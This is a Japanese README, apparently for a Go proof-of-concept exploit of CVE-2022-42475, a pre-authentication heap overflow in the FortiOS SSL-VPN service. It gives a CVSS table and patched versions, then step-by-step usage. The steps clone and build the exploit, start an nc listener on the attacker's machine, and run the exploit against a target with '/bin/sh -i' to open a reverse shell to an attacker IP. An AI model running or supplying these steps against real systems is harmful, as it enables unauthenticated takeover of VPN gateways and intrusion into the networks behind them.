
特定バージョンのFortiOSのSSL-VPNサービスに影響を及ぼす重大なヒープベースのバッファオーバーフロー脆弱性であるCVE-2022-42475の、研究および管理された実験室環境での検証を目的とした概念実証(PoC)。
Fortinet SSL VPN 事前認証リモートコード実行
CVE-2022-42475 は、FortiOS の SSL VPN サービスにおけるヒープベースのバッファオーバーフローの脆弱性であり、認証されていない攻撃者が /remote/error エンドポイントを標的とした巧妙に細工された HTTP リクエストを通じて、リモートから任意のコードを実行(RCE)できるようにします。
この脆弱性は、公式パッチが公開される前に実際の攻撃で積極的に悪用されていました(0-day)。
次のスクリーンショットは、許可されたラボ環境での PoC の実行を示しています。
出力は、PoC の実行と、テストに使用された FortiOS インスタンスとのやり取りを示しています。

| フィールド | 値 |
|---|
| CVE ID | CVE-2022-42475 |
| CVSS 3.1 | 9.3 (Critical) |
| ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-122 |
| 発見 | 2022年12月 |
| 公式パッチ | FortiOS 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16 |
# ソースコードをクローンまたはダウンロード
git clone https://github.com/uLl0a/cve-2022-42475-poc
cd cve-2022-42475-poc
# コンパイル
go build -o exploit exploit.go
# または直接実行
go run exploit.go <target> <port> <reverse_ip> <params>
./exploit <target_host> <target_port> <reverse_ip> <param1> [param2...]
# 攻撃者側でリスナーを起動
nc -lvnp 80
# エクスプロイトを実行
./exploit 192.168.1.100 443 10.0.0.5 /bin/sh -i